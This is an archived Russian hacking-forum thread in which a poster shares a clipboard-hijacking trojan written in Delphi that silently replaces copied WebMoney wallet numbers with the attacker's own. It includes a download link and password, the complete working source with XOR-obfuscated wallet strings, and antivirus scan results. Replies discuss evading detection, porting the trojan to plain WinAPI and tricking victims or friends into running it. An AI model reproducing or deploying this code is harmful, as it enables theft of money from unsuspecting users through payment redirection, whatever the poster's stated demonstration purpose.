Форум АНТИЧАТ - Wm шалость

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)

- - Wm шалость (https://forum.antichat.xyz/showthread.php?t=42733)

Wm шалость

Написал небольшую программку. Суть такова: висит себе тихонько на компе жертвы, при копировании в буфер обмена номера R или Z кошелька (ИМХО самый распространенный метод ввода кошелей в кипер) заменяет их на заранее заготовленные номерки. В итоге жертва вставляет не скопированный, а Ваш номер кошеля :)
В программе для демонстрации вшиты кошельки

R123456789101
Z123456789101

(придумал наобум)

скачать

Пароль: antichat.ru

Если понравится, выложу исходники (Писал на Delphi + KOL).

Хочу предупредить, что программа написана в целях демонстрации опасности данного метода обмана пользователя, а не, собственно, обмана :)

Сорцы скинь..

Цитата:

Joker-jar смотри 4 анивиря палят его!

AhnLab-V3 2007.6.21.1 06.21.2007 no virus found
AntiVir 7.4.0.34 06.20.2007 no virus found
Authentium 4.93.8 06.21.2007 no virus found
Avast 4.7.997.0 06.20.2007 no virus found
AVG 7.5.0.467 06.20.2007 no virus found
BitDefender 7.2 06.21.2007 no virus found
CAT-QuickHeal 9.00 06.21.2007 no virus found
ClamAV devel-20070416 06.21.2007 no virus found
DrWeb 4.33 06.20.2007 no virus found
eSafe 7.0.15.0 06.20.2007 suspicious Trojan/Worm
eTrust-Vet 30.8.3730 06.20.2007 no virus found
Ewido 4.0 06.20.2007 no virus found
FileAdvisor 1 06.21.2007 no virus found
Fortinet 2.91.0.0 06.21.2007 no virus found
F-Prot 4.3.2.48 06.21.2007 no virus found
F-Secure 6.70.13030.0 06.20.2007 no virus found
Ikarus T3.1.1.8 06.21.2007 Trojan.Delf.NEB
Kaspersky 4.0.2.24 06.21.2007 no virus found
McAfee 5057 06.20.2007 no virus found
Microsoft 1.2607 06.21.2007 TrojanDownloader:Win32/Small.OE
Norman 5.80.02 06.20.2007 no virus found
Panda 9.0.0.4 06.20.2007 Suspicious file
Prevx1 V2 06.21.2007 no virus found
Sophos 4.18.0 06.12.2007 no virus found
Sunbelt 2.2.907.0 06.09.2007 no virus found
Symantec 10 06.21.2007 no virus found
TheHacker 6.1.6.136 06.20.2007 no virus found
VBA32 3.12.0.2 06.20.2007 no virus found
VirusBuster 4.3.23:9 06.20.2007 no virus found
Webwasher-Gateway 6.0.1 06.20.2007 no virus found

Стоит вопрос ты туда больше не чего не впарил?

Цитата:

Но за идею молодец!(хорошая идея!)

Не впарил. А вот беда паблика в том, что первым делом все попадает на вирустотал => в базы антивиров. Вы что, вообще не доверяете антивиру, который стоит на Вашей машине?

Такое уже было.
ЗЫ. Перенесено в С/С++/Дельфи/Асм

Посчитал, что закрывать все-таки не стоит =)

=) Гы, спс! Исходник программы:

Код:

program wmb;



uses

  Windows, KOL;



const

  wmr = '\?<=:;8967?>?'; // hidestring('R123456789101', 14)

  wmz = 'G,/.)(+*%$,-,'; // hidestring('Z123456789101', 29)



type

  Twm = (Unknown, R, Z);



var

  Timer: PTimer;

  Mes: msg;



function hidestring(s: string; code: integer): string;

var

  t: Integer;

begin

  for t:=1 to Length(S) do S[t]:=Chr(Ord(S[t]) xor Code);

    Result:=S;

end;



function getwmtype(s: string): Twm;

var

  c: char;

  e: integer;

  i: int64;

begin

  result := Unknown;

  c := upcase(s[1]);

  if (length(s) <> 13) and (c <> chr($52)) and (c <> chr($5a)) then

    exit;

  if c = chr($52) then

    result := R

  else

    result := Z;

  delete(s,1,1);

  val(s,i,e);

  if e <> 0 then

    result := Unknown;

end;



procedure OnTimer(Sender: PControl);

var

  s: string;

begin

  if getwmtype(Clipboard2Text) = R then

    Text2Clipboard(hidestring(wmr, 14))

  else

    if getwmtype(Clipboard2Text) = Z then

      Text2Clipboard(hidestring(wmz, 29));

end;



begin

  Timer := NewTimer(200);

  Timer.OnTimer := TOnEvent(MakeMethod(nil,@OnTimer));

  Timer.Enabled := true;

   while (GetMessage(Mes, 0, 0, 0)) do

     begin

       TranslateMessage(Mes);

       DispatchMessage(Mes);

     end;

end.

Хоть, как сказал _Great_, такое уже было (я видать в то время под стол ходил), думаю, не все знают о данной фишке. Попасться реально легко (не считая сложностей впаривания), будьте внимательны

Joker-jar > можно и на чистый WinAPI переделать (see SetTimer).

я гдето уже видел подобное.
Прога поддерживала рабту с: WM: Z, R, E, U, yandex, e-gold
И звалась она помойму WmSpy

Вот тока много толку от этоге может и небыть.
Потому что после того как человек заметит что деньги ушли кудато не туда.
То он посмотрит историю платежей, где будет светится твой кошелек.
И потом могут быть проблемы с этим.

Цитата:

Сообщение от slesh

А я про что ))) Так что эти трояны так побаловатся.... к примеру на друзьями )))